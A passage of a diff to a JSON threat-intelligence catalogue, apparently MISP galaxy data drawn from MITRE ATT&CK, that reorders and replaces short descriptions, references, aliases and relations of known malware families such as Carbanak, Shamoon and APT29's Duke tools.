- } - ], - "value": "hcdLoader" + "value": "CallMe" }, { - "description": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.[[Citation: Sophos ZeroAccess]]\n\nAliases: Zeroaccess, Trojan.Zeroaccess", + "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]\n\nAliases: Carbanak, Anunak", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0027", - "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + "https://attack.mitre.org/wiki/Software/S0030", + "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" ], "synonyms": [ - "Zeroaccess", - "Trojan.Zeroaccess" + "Carbanak", + "Anunak" ], - "uuid": "552462b9-ae79-49dd-855c-5973014e157f" + "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4" }, - "value": "Zeroaccess" + "related": [ + { + "dest-uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Carbanak" }, { - "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.Skeleton Key is included as a module in Mimikatz.", + "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]\n\nAliases: Crimson, MSIL/Crimson", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0007", - "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" - ], - "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49" - }, - "value": "Skeleton Key" - }, - { - "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states.[[Citation: FireEye Shamoon Nov 2016]][[Citation: Palo Alto Shamoon Nov 2016]]\n\nAliases: Shamoon, Disttrack", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0140", - "https://www.fireeye.com/blog/threat-research/2016/11/fireeye%20respondsto.html", - "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + "https://attack.mitre.org/wiki/Software/S0115", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" ], "synonyms": [ - "Shamoon", - "Disttrack" + "Crimson", + "MSIL/Crimson" ], - "uuid": "8901ac23-6b50-410c-b0dd-d8174a86f9b3" + "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2" }, "related": [ { - "dest-uuid": "776b1849-8d5b-4762-8ba1-cbbaddb4ce3a", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Shamoon" - }, - { - "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0065", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" - }, - "related": [ - { - "dest-uuid": "d8aad68d-a68f-42e1-b755-d5f383b73401", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "4H RAT" - }, - { - "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.[[Citation: MTrends 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0114", - "https://www.fireeye.com/content/dam/fireeye-www/regional/fr%20FR/offers/pdfs/ig-mtrends-2016.pdf" - ], - "uuid": "da2ef4a9-7cbe-400a-a379-e2f230f28db3" - }, - "value": "BOOTRASH" - }, - { - "description": "China Chopper is a Threat Group-3390.[[Citation: Dell TG-3390]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0020", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" - ], - "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70" - }, - "value": "China Chopper" - }, - { - "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.[[Citation: Dell Wiper]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0041", - "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/" - ], - "uuid": "a19c49aa-36fe-4c05-b817-23e1c7a7d085" - }, - "value": "Wiper" - }, - { - "description": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.[[Citation: Forcepoint Monsoon]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0130", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" - ], - "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56" - }, - "value": "Unknown Logger" - }, - { - "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0032", - "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html" - ], - "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24" - }, - "related": [ - { - "dest-uuid": "1b1ae63f-bcee-4aba-8994-6c60cee5e16f", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "gh0st" - }, - { - "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: CORESHELL, SOURFACE", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0137", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" - ], - "synonyms": [ - "CORESHELL", - "SOURFACE" - ], - "uuid": "60c18d06-7b91-4742-bae3-647845cd9d81" - }, - "related": [ - { - "dest-uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa", + "dest-uuid": "8d8efbc6-d1b7-4ec8-bab3-591edba337d0", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", + "dest-uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a61fc694-a88a-484d-a648-db35b49932fd", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "CORESHELL" + "value": "Crimson" }, { - "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.[[Citation: Symantec Strider Blog]]\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron", + "description": "WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0125", - "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + "https://attack.mitre.org/wiki/Software/S0155", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" ], - "synonyms": [ - "Remsec", - "Backdoor.Remsec", - "ProjectSauron" - ], - "uuid": "69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" + "uuid": "a89ed72c-202d-486b-9349-6ffc0a61e30a" }, "related": [ { - "dest-uuid": "6a3c3fbc-97ec-4938-b64e-2679e4b73db9", + "dest-uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "Remsec" + "value": "WINDSHIELD" }, { - "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]", + "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0036", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "https://attack.mitre.org/wiki/Software/S0135", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" ], - "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a" + "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" }, - "value": "FLASHFLOOD" + "value": "HIDEDRV" }, { - "description": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.[[Citation: Forcepoint Monsoon]]", + "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.[[Citation: FireEye APT10 April 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0131", - "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + "https://attack.mitre.org/wiki/Software/S0159", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" ], - "uuid": "85b39628-204a-48d2-b377-ec368cbcb7ca" + "uuid": "12b524b9-0d94-400f-904f-615f4f764aaf" }, - "value": "TINYTYPHON" + "related": [ + { + "dest-uuid": "3240cbe4-c550-443b-aa76-cc2a7058b870", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6a42aa10-5b7e-43b0-8c58-414cdaeda453", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "SNUGRIDE" + }, + { + "description": "RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0003", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + ], + "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" + }, + "related": [ + { + "dest-uuid": "91583583-95c0-444e-8175-483cbebc640b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "RIPTIDE" + }, + { + "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0049", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6" + }, + "related": [ + { + "dest-uuid": "6a28a648-30c0-4d1d-bd67-81a8dc6486ba", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "GeminiDuke" + }, + { + "description": "HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]\n\nAliases: HDoor, Custom HDoor", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0061", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "synonyms": [ + "HDoor", + "Custom HDoor" + ], + "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b" + }, + "value": "HDoor" + }, + { + "description": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0051", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "uuid": "5e7ef1dc-7fb6-4913-ac75-e06113b59e0c" + }, + "value": "MiniDuke" + }, + { + "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015.[[Citation: F-Secure The Dukes]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0052", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e" + }, + "related": [ + { + "dest-uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "OnionDuke" + }, + { + "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0048", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164" + }, + "value": "PinchDuke" + }, + { + "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0139", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + ], + "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a" + }, + "related": [ + { + "dest-uuid": "c79f5876-e3b9-417a-8eaf-8f1b01a0fecd", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "PowerDuke" }, { "description": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.[[Citation: F-Secure The Dukes]]\n\nAliases: SeaDuke, SeaDaddy, SeaDesk", @@ -1986,104 +1497,88 @@ "value": "SeaDuke" }, { - "description": "is an OS X trojan that relied on a valid developer ID and oblivious users to install it.[[Citation: Janicab]]", + "description": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.[[Citation: DustySky]][[Citation: DustySky2]]\n\nAliases: DustySky, NeD Worm", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0163", - "http://www.thesafemac.com/new-signed-malware-called-janicab/" - ], - "uuid": "4af4e96f-c92d-4a45-9958-a88ad8deb38d" - }, - "related": [ - { - "dest-uuid": "234e7770-99b0-4f65-b983-d3230f76a60b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "c3c20c4b-e12a-42e5-960a-eea4644014f4", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Janicab" - }, - { - "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.[[Citation: Kaspersky Sofacy]][[Citation: ESET Sednit Part 2]]\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0045", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", - "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/" + "https://attack.mitre.org/wiki/Software/S0062", + "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf" ], "synonyms": [ - "ADVSTORESHELL", - "NETUI", - "EVILTOSS", - "AZZY", - "Sedreco" + "DustySky", + "NeD Worm" ], - "uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73" + "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54" }, "related": [ { - "dest-uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "21ab9e14-602a-4a76-a308-dbf5d6a91d75", + "dest-uuid": "eedcf785-d011-4e17-96c4-6ff39138ada0", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "ADVSTORESHELL" + "value": "DustySky" }, { - "description": "S-Type is a backdoor that was used by Dust Storm from 2013 to 2014.[[Citation: Cylance Dust Storm]]", + "description": "Derusbi is malware used by multiple Chinese APT groups.[[Citation: Axiom]][[Citation: ThreatConnect Anthem]] Both Windows and Linux variants have been observed.[[Citation: Fidelis Turbo]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0085", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" + "https://attack.mitre.org/wiki/Software/S0021", + "https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" ], - "uuid": "66b1dcde-17a0-4c7b-95fa-b08d430c2131" - }, - "value": "S-Type" - }, - { - "description": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.[[Citation: Kaspersky NetTraveler]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0033", - "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" - ], - "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e" + "uuid": "94379dec-5c87-49db-b36e-66abc0b81344" }, "related": [ { - "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", + "dest-uuid": "eff68b97-f36e-4827-ab1a-90523c16774c", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", + "dest-uuid": "7ea00126-add3-407e-b69d-d4aa1b3049d5", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "NetTraveler" + "value": "Derusbi" + }, + { + "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]\n\nAliases: Downdelph, Delphacy", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0134", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + ], + "synonyms": [ + "Downdelph", + "Delphacy" + ], + "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519" + }, + "related": [ + { + "dest-uuid": "837a295c-15ff-41c0-9b7e-5f2fb502b00a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e6a077cb-42cc-4193-9006-9ceda8c0dff2", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "value": "Downdelph" }, { "description": "Dyre is a Trojan that usually targets banking information.[[Citation: Raff 2015]]", @@ -2113,204 +1608,35 @@ "value": "Dyre" }, { - "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS", + "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0016", - "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/" + "https://attack.mitre.org/wiki/Software/S0038", + "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf" ], - "synonyms": [ - "P2P ZeuS", - "Peer-to-Peer ZeuS", - "Gameover ZeuS" - ], - "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85" - }, - "value": "P2P ZeuS" - }, - { - "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.[[Citation: Symantec Waterbug]][[Citation: NorthSec 2015 GData Uroburos Tools]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0126", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/waterbug-attack-group.pdf", - "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" - ], - "uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565" + "uuid": "68dca94f-c11d-421e-9287-7c501108e18c" }, "related": [ { - "dest-uuid": "9223bf17-7e32-4833-9574-9ffd8c929765", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "da079741-05e6-458c-b434-011263dc691c", + "dest-uuid": "809b54c3-dd6a-4ec9-8c3a-a27b9baa6732", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "ComRAT" + "value": "Duqu" }, { - "description": "Winnti is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, Winnti Group; however, reporting indicates a second distinct group, Axiom, also uses the malware.[[Citation: Kaspersky Winnti April 2013]][[Citation: Microsoft Winnti Jan 2017]][[Citation: Novetta Winnti April 2015]]", + "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.[[Citation: FireEye EPS Awakens Part 2]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0141", - "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf", - "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf", - "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + "https://attack.mitre.org/wiki/Software/S0064", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" ], - "uuid": "d3afa961-a80c-4043-9509-282cdf69ab21" + "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" }, - "related": [ - { - "dest-uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "7f8166e2-c7f4-4b48-a07b-681b61a8f2c1", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Winnti" - }, - { - "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus.[[Citation: PWC Cloud Hopper Technical Annex April 2017]][[Citation: FireEye APT10 April 2017]]\n\nAliases: RedLeaves, BUGJUICE", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0153", - "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" - ], - "synonyms": [ - "RedLeaves", - "BUGJUICE" - ], - "uuid": "3df08e23-1d0b-41ed-b735-c4eca46ce48e" - }, - "related": [ - { - "dest-uuid": "ad6a1b4a-6d79-40d4-adb7-1d7ca697347e", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "90124cc8-1205-4e63-83ad-5c45a110b1e6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "a70e93a7-3578-47e1-9926-0818979ed866", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RedLeaves" - }, - { - "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM).[[Citation: ESET RTM Feb 2017]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0148", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" - ], - "uuid": "92ec0cbd-2c30-44a2-b270-73f4ec949841" - }, - "related": [ - { - "dest-uuid": "e6952b4d-e96d-4641-a88f-60074776d553", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "RTM" - }, - { - "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.[[Citation: Scarlet Mimic Jan 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0077", - "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" - ], - "uuid": "cb7bcf6f-085f-41db-81ee-4b68481661b5" - }, - "value": "CallMe" - }, - { - "description": "HIDEDRV is a rootkit used by APT28. It has been deployed along with Downdelph to execute and hide that malware.[[Citation: ESET Sednit Part 3]][[Citation: Sekoia HideDRV Oct 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0135", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", - "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" - ], - "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" - }, - "value": "HIDEDRV" - }, - { - "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012.[[Citation: Cylance Dust Storm]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0084", - "https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512" - ], - "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61" - }, - "value": "Mis-Type" - }, - { - "description": "Hikit is malware that has been used by Axiom for late-stage [[persistence]] and [[exfiltration]] after the initial compromise.[[Citation: Axiom]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0009", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf" - ], - "uuid": "95047f03-4811-4300-922e-1ba937d53a61" - }, - "related": [ - { - "dest-uuid": "06953055-92ed-4936-8ffd-d9d72ab6bef6", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "Hikit" + "value": "ELMER" }, { "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.[[Citation: PWC Cloud Hopper Technical Annex April 2017]]", @@ -2347,55 +1673,24 @@ "value": "EvilGrab" }, { - "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.[[Citation: Dell TG-3390]]\n\nAliases: ASPXSpy, ASPXTool", + "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]", "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0073", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + "https://attack.mitre.org/wiki/Software/S0142", + "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" ], - "synonyms": [ - "ASPXSpy", - "ASPXTool" - ], - "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2" - }, - "value": "ASPXSpy" - }, - { - "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.[[Citation: Alienvault Sykipot DOD Smart Cards]] The group using this malware has also been referred to as Sykipot.[[Citation: Blasco 2013]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0018", - "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments", - "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" - ], - "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9" - }, - "value": "Sykipot" - }, - { - "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic.[[Citation: Mandiant APT1]]\n\nAliases: GLOOXMAIL, Trojan.GTALK", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0026", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "GLOOXMAIL", - "Trojan.GTALK" - ], - "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" + "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86" }, "related": [ { - "dest-uuid": "a379f09b-5cec-4bdb-9735-125cef2de073", + "dest-uuid": "9991ace8-1a62-498c-a9ef-19d474deb505", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" } ], - "value": "GLOOXMAIL" + "value": "StreamEx" }, { "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a 